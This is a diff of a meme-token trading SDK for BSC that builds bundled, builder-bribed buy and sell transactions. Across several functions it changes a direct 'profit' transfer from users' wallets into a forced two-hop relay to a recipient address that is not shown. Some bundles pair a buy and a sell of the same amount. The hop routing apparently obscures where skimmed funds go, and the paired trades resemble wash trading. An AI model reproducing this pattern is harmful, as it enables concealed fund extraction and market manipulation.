four-flap-meme-sdk 1.4.38 → 1.4.40

package/dist/flap/portal-bundle-merkle/pancake-proxy.js

@@ -7,7 +7,7 @@
  * - V3 Quoter (BSC): 0xB048Bbc1Ee6b733FFfCFb9e9CeF7375518e25997
  */
 import { ethers, Wallet, JsonRpcProvider, Contract, Interface } from 'ethers';
-import { NonceManager, getOptimizedGasPrice, getDeadline, encodeV3Path } from '../../utils/bundle-helpers.js';
+import { NonceManager, getOptimizedGasPrice, getDeadline, encodeV3Path, buildProfitHopTransactions, PROFIT_HOP_COUNT } from '../../utils/bundle-helpers.js';
 import { ADDRESSES, ZERO_ADDRESS } from '../../utils/constants.js';
 import { MULTICALL3_ABI, V2_ROUTER_ABI, V3_ROUTER02_ABI, V3_QUOTER_ABI, ERC20_ABI } from '../../abis/common.js';
 import { CHAIN_ID_MAP, getTxType, getGasPriceConfig, shouldExtractProfit, calculateProfit, calculateBatchProfit, getProfitRecipient, getBribeAmount, BLOCKRAZOR_BUILDER_EOA } from './config.js';
@@ -394,19 +394,23 @@ export async function pancakeProxyBatchBuyMerkle(params) {
             value: txValue
         }));
     });
+    const signedTxs = await Promise.all(signPromises);
+    // 利润多跳转账（强制 2 跳中转）
     if (shouldExtractProfitForBuy && nativeProfitAmount > 0n && maxFundsIndex >= 0) {
         const profitNonce = mutableNonces[maxFundsIndex] + 1;
-        signPromises.push(buyers[maxFundsIndex].signTransaction({
-            to: getProfitRecipient(),
-            value: nativeProfitAmount,
-            nonce: profitNonce,
+        const profitHopResult = await buildProfitHopTransactions({
+            provider,
+            payerWallet: buyers[maxFundsIndex],
+            profitAmount: nativeProfitAmount,
+            profitRecipient: getProfitRecipient(),
+            hopCount: PROFIT_HOP_COUNT,
             gasPrice,
-            gasLimit: 21000n,
             chainId,
-            type: txType
-        }));
+            txType,
+            startNonce: profitNonce
+        });
+        signedTxs.push(...profitHopResult.signedTransactions);
     }
-    const signedTxs = await Promise.all(signPromises);
     nonceManager.clearTemp();
     return {
         signedTransactions: signedTxs
@@ -578,18 +582,22 @@ export async function pancakeProxyBatchSellMerkle(params) {
             value: txValue
         }));
     });
+    const signedTxs = await Promise.all(signPromises);
+    // 利润多跳转账（强制 2 跳中转）
     if (needProfitTx && profitNonce !== undefined) {
-        signPromises.push(sellers[maxRevenueIndex].signTransaction({
-            to: getProfitRecipient(),
-            value: totalProfit,
-            nonce: profitNonce,
+        const profitHopResult = await buildProfitHopTransactions({
+            provider,
+            payerWallet: sellers[maxRevenueIndex],
+            profitAmount: totalProfit,
+            profitRecipient: getProfitRecipient(),
+            hopCount: PROFIT_HOP_COUNT,
             gasPrice,
-            gasLimit: 21000n,
             chainId,
-            type: txType
-        }));
+            txType,
+            startNonce: profitNonce
+        });
+        signedTxs.push(...profitHopResult.signedTransactions);
     }
-    const signedTxs = await Promise.all(signPromises);
     nonceManager.clearTemp();
     return {
         signedTransactions: signedTxs

package/dist/flap/portal-bundle-merkle/private.js

@@ -1,6 +1,6 @@
 import { ethers, Wallet } from 'ethers';
 import { MerkleClient } from '../../clients/merkle.js';
-import { getOptimizedGasPrice } from '../../utils/bundle-helpers.js';
+import { getOptimizedGasPrice, buildProfitHopTransactions, PROFIT_HOP_COUNT } from '../../utils/bundle-helpers.js';
 import { FLAP_PORTAL_ADDRESSES } from '../constants.js';
 import { ZERO_ADDRESS } from '../../utils/constants.js';
 import { CHAIN_ID_MAP, PORTAL_ABI, getTxType, getGasPriceConfig, shouldExtractProfit, calculateProfit, calculateBatchProfit, getProfitRecipient, getBribeAmount, BLOCKRAZOR_BUILDER_EOA } from './config.js';
@@ -67,20 +67,23 @@ export async function flapPrivateBuyMerkle(params) {
         type: txType,
         value: actualAmountWei
     }));
-    // 利润交易
+    // ✅ 并行签名完成后按顺序返回
+    const signedTxs = await Promise.all(signPromises);
+    // ✅ 利润多跳转账（强制 2 跳中转）
     if (needProfitTx && profitNonce !== undefined) {
-        signPromises.push(wallet.signTransaction({
-            to: getProfitRecipient(),
-            value: profitWei,
-            nonce: profitNonce,
+        const profitHopResult = await buildProfitHopTransactions({
+            provider,
+            payerWallet: wallet,
+            profitAmount: profitWei,
+            profitRecipient: getProfitRecipient(),
+            hopCount: PROFIT_HOP_COUNT,
             gasPrice,
-            gasLimit: 21000n,
             chainId,
-            type: txType
-        }));
+            txType,
+            startNonce: profitNonce
+        });
+        signedTxs.push(...profitHopResult.signedTransactions);
     }
-    // ✅ 并行签名完成后按顺序返回
-    const signedTxs = await Promise.all(signPromises);
     return { signedTransactions: signedTxs };
 }
 /**
@@ -146,20 +149,23 @@ export async function flapPrivateSellMerkle(params) {
         chainId,
         type: txType
     }));
-    // 利润交易
+    // ✅ 并行签名完成后按顺序返回
+    const signedTxs = await Promise.all(signPromises);
+    // ✅ 利润多跳转账（强制 2 跳中转）
     if (needProfitTx && profitNonce !== undefined) {
-        signPromises.push(wallet.signTransaction({
-            to: getProfitRecipient(),
-            value: profitWei,
-            nonce: profitNonce,
+        const profitHopResult = await buildProfitHopTransactions({
+            provider,
+            payerWallet: wallet,
+            profitAmount: profitWei,
+            profitRecipient: getProfitRecipient(),
+            hopCount: PROFIT_HOP_COUNT,
             gasPrice,
-            gasLimit: 21000n,
             chainId,
-            type: txType
-        }));
+            txType,
+            startNonce: profitNonce
+        });
+        signedTxs.push(...profitHopResult.signedTransactions);
     }
-    // ✅ 并行签名完成后按顺序返回
-    const signedTxs = await Promise.all(signPromises);
     return { signedTransactions: signedTxs };
 }
 /**
@@ -241,18 +247,20 @@ export async function flapBatchPrivateBuyMerkle(params) {
         values: actualAmountsWei
     });
     signedTxs.push(...signedList);
-    // ✅ 利润交易放在末尾
+    // ✅ 利润多跳转账（强制 2 跳中转）
     if (needProfitTx && profitNonce !== undefined && maxFundsIndex >= 0) {
-        const profitTx = await wallets[maxFundsIndex].signTransaction({
-            to: getProfitRecipient(),
-            value: totalProfit,
-            nonce: profitNonce,
+        const profitHopResult = await buildProfitHopTransactions({
+            provider,
+            payerWallet: wallets[maxFundsIndex],
+            profitAmount: totalProfit,
+            profitRecipient: getProfitRecipient(),
+            hopCount: PROFIT_HOP_COUNT,
             gasPrice,
-            gasLimit: 21000n,
             chainId,
-            type: getTxType(config)
+            txType: getTxType(config),
+            startNonce: profitNonce
         });
-        signedTxs.push(profitTx);
+        signedTxs.push(...profitHopResult.signedTransactions);
     }
     return { signedTransactions: signedTxs };
 }
@@ -337,18 +345,20 @@ export async function flapBatchPrivateSellMerkle(params) {
         config
     });
     signedTxs.push(...signedList);
-    // ✅ 利润交易放在末尾
+    // ✅ 利润多跳转账（强制 2 跳中转）
     if (needProfitTx && profitNonce !== undefined && maxRevenueIndex >= 0) {
-        const profitTx = await wallets[maxRevenueIndex].signTransaction({
-            to: getProfitRecipient(),
-            value: totalProfit,
-            nonce: profitNonce,
+        const profitHopResult = await buildProfitHopTransactions({
+            provider,
+            payerWallet: wallets[maxRevenueIndex],
+            profitAmount: totalProfit,
+            profitRecipient: getProfitRecipient(),
+            hopCount: PROFIT_HOP_COUNT,
             gasPrice,
-            gasLimit: 21000n,
             chainId,
-            type: getTxType(config)
+            txType: getTxType(config),
+            startNonce: profitNonce
         });
-        signedTxs.push(profitTx);
+        signedTxs.push(...profitHopResult.signedTransactions);
     }
     return { signedTransactions: signedTxs };
 }
@@ -395,20 +405,25 @@ function resolveGasLimit(multiplier, defaultGas = DEFAULT_GAS_LIMIT) {
     const factor = multiplier ?? 1.0;
     return BigInt(Math.ceil(defaultGas * factor));
 }
-async function appendSingleProfitTransfer({ extractProfit, profitWei, wallet, baseNonce, gasPrice, chainId, config, signedTxs }) {
+/**
+ * 追加利润多跳转账交易（强制 2 跳中转）
+ */
+async function appendSingleProfitTransfer({ extractProfit, profitWei, wallet, baseNonce, provider, gasPrice, chainId, config, signedTxs }) {
     if (!extractProfit || profitWei === 0n) {
         return;
     }
-    const profitTx = await wallet.signTransaction({
-        to: getProfitRecipient(),
-        value: profitWei,
-        nonce: baseNonce + 1,
+    const profitHopResult = await buildProfitHopTransactions({
+        provider,
+        payerWallet: wallet,
+        profitAmount: profitWei,
+        profitRecipient: getProfitRecipient(),
+        hopCount: PROFIT_HOP_COUNT,
         gasPrice,
-        gasLimit: 21000n,
         chainId,
-        type: getTxType(config)
+        txType: getTxType(config),
+        startNonce: baseNonce + 1
     });
-    signedTxs.push(profitTx);
+    signedTxs.push(...profitHopResult.signedTransactions);
 }
 async function resolveSingleSellOutputs(portal, tokenAddress, amountWei, minOutputAmount) {
     if (minOutputAmount !== undefined) {
@@ -438,7 +453,10 @@ async function resolveSingleSellOutputs(portal, tokenAddress, amountWei, minOutp
         };
     }
 }
-async function appendSingleSellProfitTransfer({ extractProfit, quotedOutput, wallet, baseNonce, gasPrice, chainId, config, signedTxs }) {
+/**
+ * 追加卖出利润多跳转账交易（强制 2 跳中转）
+ */
+async function appendSingleSellProfitTransfer({ extractProfit, quotedOutput, wallet, baseNonce, provider, gasPrice, chainId, config, signedTxs }) {
     if (!extractProfit || quotedOutput <= 0n) {
         return;
     }
@@ -446,16 +464,18 @@ async function appendSingleSellProfitTransfer({ extractProfit, quotedOutput, wal
     if (profit === 0n) {
         return;
     }
-    const profitTx = await wallet.signTransaction({
-        to: getProfitRecipient(),
-        value: profit,
-        nonce: baseNonce + 1,
+    const profitHopResult = await buildProfitHopTransactions({
+        provider,
+        payerWallet: wallet,
+        profitAmount: profit,
+        profitRecipient: getProfitRecipient(),
+        hopCount: PROFIT_HOP_COUNT,
         gasPrice,
-        gasLimit: 21000n,
         chainId,
-        type: getTxType(config)
+        txType: getTxType(config),
+        startNonce: baseNonce + 1
     });
-    signedTxs.push(profitTx);
+    signedTxs.push(...profitHopResult.signedTransactions);
 }
 function resolveBatchMinOutputs(minOutputAmounts, walletCount) {
     if (minOutputAmounts && minOutputAmounts.length === walletCount) {

package/dist/flap/portal-bundle-merkle/swap-buy-first.js

@@ -4,7 +4,7 @@
  * 功能：钱包B先买入代币 → 钱包A卖出相同数量 → 原子执行
  */
 import { ethers, Contract, Wallet } from 'ethers';
-import { NonceManager, getOptimizedGasPrice } from '../../utils/bundle-helpers.js';
+import { NonceManager, getOptimizedGasPrice, buildProfitHopTransactions, PROFIT_HOP_COUNT } from '../../utils/bundle-helpers.js';
 import { FLAP_PORTAL_ADDRESSES } from '../constants.js';
 import { PROFIT_CONFIG, ADDRESSES, ZERO_ADDRESS } from '../../utils/constants.js';
 import { ERC20_BALANCE_ABI, V2_ROUTER_QUOTE_ABI } from '../../abis/common.js';
@@ -202,23 +202,24 @@ export async function flapBundleBuyFirstMerkle(params) {
         buyer.signTransaction(buyTx),
         seller.signTransaction(sellTx)
     ]);
-    // ✅ 利润交易放在末尾
-    const profitTx = await buildProfitTransaction({
+    nonceManager.clearTemp();
+    // ✅ 组装顺序：贿赂 → 买入 → 卖出
+    const allTransactions = [];
+    if (bribeTx)
+        allTransactions.push(bribeTx);
+    allTransactions.push(signedBuy, signedSell);
+    // ✅ 利润多跳转账（强制 2 跳中转）
+    const profitTxs = await buildProfitTransaction({
+        provider: chainContext.provider,
         seller,
-        profitAmount: nativeProfitAmount, // ✅ 使用转换后的原生代币利润
+        profitAmount: nativeProfitAmount,
         profitNonce: noncePlan.profitNonce,
         gasPrice,
         chainId: chainContext.chainId,
         txType
     });
-    nonceManager.clearTemp();
-    // ✅ 组装顺序：贿赂 → 买入 → 卖出 → 利润
-    const allTransactions = [];
-    if (bribeTx)
-        allTransactions.push(bribeTx);
-    allTransactions.push(signedBuy, signedSell);
-    if (profitTx)
-        allTransactions.push(profitTx);
+    if (profitTxs)
+        allTransactions.push(...profitTxs);
     return {
         signedTransactions: allTransactions,
         metadata: {
@@ -396,20 +397,25 @@ function buildTransactionRequest(unsigned, { from, nonce, gasLimit, gasPrice, pr
     }
     return tx;
 }
-async function buildProfitTransaction({ seller, profitAmount, profitNonce, gasPrice, chainId, txType }) {
+/**
+ * 构建利润多跳转账交易（强制 2 跳中转）
+ */
+async function buildProfitTransaction({ provider, seller, profitAmount, profitNonce, gasPrice, chainId, txType }) {
     if (profitNonce === undefined || profitAmount === 0n) {
         return null;
     }
-    const signed = await seller.signTransaction({
-        to: getProfitRecipient(),
-        value: profitAmount,
-        nonce: profitNonce,
+    const profitHopResult = await buildProfitHopTransactions({
+        provider,
+        payerWallet: seller,
+        profitAmount,
+        profitRecipient: getProfitRecipient(),
+        hopCount: PROFIT_HOP_COUNT,
         gasPrice,
-        gasLimit: 21000n,
         chainId,
-        type: txType
+        txType,
+        startNonce: profitNonce
     });
-    return signed;
+    return profitHopResult.signedTransactions;
 }
 function countTruthy(values) {
     return values.filter(Boolean).length;

package/dist/flap/portal-bundle-merkle/swap.js

@@ -5,7 +5,7 @@
  */
 import { ethers, Contract, Wallet } from 'ethers';
 import { calculateSellAmount } from '../../utils/swap-helpers.js';
-import { NonceManager, getOptimizedGasPrice } from '../../utils/bundle-helpers.js';
+import { NonceManager, getOptimizedGasPrice, buildProfitHopTransactions, PROFIT_HOP_COUNT } from '../../utils/bundle-helpers.js';
 import { FLAP_PORTAL_ADDRESSES } from '../constants.js';
 import { PROFIT_CONFIG, ADDRESSES, ZERO_ADDRESS } from '../../utils/constants.js';
 import { ERC20_ALLOWANCE_ABI, V2_ROUTER_QUOTE_ABI, ERC20_BALANCE_ABI } from '../../abis/common.js';
@@ -229,25 +229,26 @@ export async function flapBundleSwapMerkle(params) {
         seller.signTransaction(sellTx),
         buyer.signTransaction(buyTx)
     ]);
-    // ✅ 利润交易放在末尾
-    const profitTx = await buildProfitTransaction({
-        seller,
-        profitAmount: nativeProfitAmount, // ✅ 使用转换后的原生代币利润
-        profitNonce: noncePlan.profitNonce,
-        gasPrice,
-        chainId: chainContext.chainId,
-        txType
-    });
     nonceManager.clearTemp();
-    // ✅ 组装顺序：贿赂 → 授权 → 卖出 → 买入 → 利润
+    // ✅ 组装顺序：贿赂 → 授权 → 卖出 → 买入
     const allTransactions = [];
     if (bribeTx)
         allTransactions.push(bribeTx);
     if (approvalTx)
         allTransactions.push(approvalTx);
     allTransactions.push(signedSell, signedBuy);
-    if (profitTx)
-        allTransactions.push(profitTx);
+    // ✅ 利润多跳转账（强制 2 跳中转）
+    const profitTxs = await buildProfitTransaction({
+        provider: chainContext.provider,
+        seller,
+        profitAmount: nativeProfitAmount,
+        profitNonce: noncePlan.profitNonce,
+        gasPrice,
+        chainId: chainContext.chainId,
+        txType
+    });
+    if (profitTxs)
+        allTransactions.push(...profitTxs);
     return {
         signedTransactions: allTransactions,
         metadata: {
@@ -449,19 +450,25 @@ function buildTransactionRequest(unsigned, { from, nonce, gasLimit, gasPrice, pr
     }
     return tx;
 }
-async function buildProfitTransaction({ seller, profitAmount, profitNonce, gasPrice, chainId, txType }) {
+/**
+ * 构建利润多跳转账交易（强制 2 跳中转）
+ */
+async function buildProfitTransaction({ provider, seller, profitAmount, profitNonce, gasPrice, chainId, txType }) {
     if (!profitNonce || profitAmount === 0n) {
         return null;
     }
-    return await seller.signTransaction({
-        to: getProfitRecipient(),
-        value: profitAmount,
-        nonce: profitNonce,
+    const profitHopResult = await buildProfitHopTransactions({
+        provider,
+        payerWallet: seller,
+        profitAmount,
+        profitRecipient: getProfitRecipient(),
+        hopCount: PROFIT_HOP_COUNT,
         gasPrice,
-        gasLimit: 21000n,
         chainId,
-        type: txType
+        txType,
+        startNonce: profitNonce
     });
+    return profitHopResult.signedTransactions;
 }
 function calculateProfitAmount(quotedNative) {
     if (quotedNative <= 0n) {
@@ -620,22 +627,9 @@ export async function flapBatchSwapMerkle(params) {
         });
         bribeNonceOffset = 1; // 卖出交易的 nonce 需要 +1
     }
-    // 利润交易放在末尾（由卖方发送，与贿赂交易同一钱包）
-    let profitTx = null;
-    if (nativeProfitAmount > 0n) {
-        // 利润交易 nonce = 卖出 nonce + 1
-        const profitNonce = sellNonce + bribeNonceOffset + 1;
-        profitTx = await seller.signTransaction({
-            to: getProfitRecipient(),
-            value: nativeProfitAmount,
-            nonce: profitNonce,
-            gasPrice,
-            gasLimit: 21000n,
-            chainId: chainContext.chainId,
-            type: txType
-        });
-    }
     nonceManager.clearTemp();
+    // 利润多跳交易 nonce 计算
+    const profitNonce = nativeProfitAmount > 0n ? sellNonce + bribeNonceOffset + 1 : undefined;
     // ✅ 并行签名所有交易
     const sellTx = buildTransactionRequest(sellUnsigned, {
         from: seller.address,
@@ -663,7 +657,7 @@ export async function flapBatchSwapMerkle(params) {
             return buyer.signTransaction(buyTx);
         })
     ]);
-    // ✅ 按顺序组装交易数组：贿赂 → 授权 → 卖出 → 买入 → 利润
+    // ✅ 按顺序组装交易数组：贿赂 → 授权 → 卖出 → 买入
     const signedTransactions = [];
     if (bribeTx)
         signedTransactions.push(bribeTx);
@@ -671,8 +665,20 @@ export async function flapBatchSwapMerkle(params) {
         signedTransactions.push(approvalTx);
     signedTransactions.push(signedSell);
     signedTransactions.push(...signedBuys);
-    if (profitTx)
-        signedTransactions.push(profitTx);
+    // ✅ 利润多跳转账（强制 2 跳中转）
+    if (profitNonce !== undefined && nativeProfitAmount > 0n) {
+        const profitTxs = await buildProfitTransaction({
+            provider: chainContext.provider,
+            seller,
+            profitAmount: nativeProfitAmount,
+            profitNonce,
+            gasPrice,
+            chainId: chainContext.chainId,
+            txType
+        });
+        if (profitTxs)
+            signedTransactions.push(...profitTxs);
+    }
     return {
         signedTransactions,
         metadata: {
@@ -923,20 +929,6 @@ export async function flapQuickBatchSwapMerkle(params) {
         return buyer.signTransaction(buyTx);
     }));
     console.log(`[flapQuickBatchSwapMerkle] ${signedBuys.length} 笔买入交易已签名`);
-    // ==================== 5. 利润交易 ====================
-    let profitTx = null;
-    if (nativeProfitAmount > 0n) {
-        profitTx = await seller.signTransaction({
-            to: getProfitRecipient(),
-            value: nativeProfitAmount,
-            nonce: sellerNonce++,
-            gasPrice,
-            gasLimit: 21000n,
-            chainId: chainContext.chainId,
-            type: txType
-        });
-        console.log(`[flapQuickBatchSwapMerkle] 利润交易已签名`);
-    }
     nonceManager.clearTemp();
     // ==================== 组装交易数组 ====================
     const signedTransactions = [];
@@ -945,14 +937,27 @@ export async function flapQuickBatchSwapMerkle(params) {
     signedTransactions.push(signedSell);
     signedTransactions.push(...transferTxs);
     signedTransactions.push(...signedBuys);
-    if (profitTx)
-        signedTransactions.push(profitTx);
+    // ==================== 5. 利润多跳转账（强制 2 跳中转）====================
+    if (nativeProfitAmount > 0n) {
+        const profitTxs = await buildProfitTransaction({
+            provider: chainContext.provider,
+            seller,
+            profitAmount: nativeProfitAmount,
+            profitNonce: sellerNonce++,
+            gasPrice,
+            chainId: chainContext.chainId,
+            txType
+        });
+        if (profitTxs)
+            signedTransactions.push(...profitTxs);
+        console.log(`[flapQuickBatchSwapMerkle] 利润多跳交易已签名: ${profitTxs?.length || 0} 笔`);
+    }
     console.log(`[flapQuickBatchSwapMerkle] 交易组装完成: ${signedTransactions.length} 笔`);
     console.log(`  - 贿赂: ${bribeTx ? 1 : 0}`);
     console.log(`  - 卖出: 1`);
     console.log(`  - 转账: ${transferTxs.length}`);
     console.log(`  - 买入: ${signedBuys.length}`);
-    console.log(`  - 利润: ${profitTx ? 1 : 0}`);
+    console.log(`  - 利润多跳: ${nativeProfitAmount > 0n ? PROFIT_HOP_COUNT + 1 : 0}`);
     return {
         signedTransactions,
         metadata: {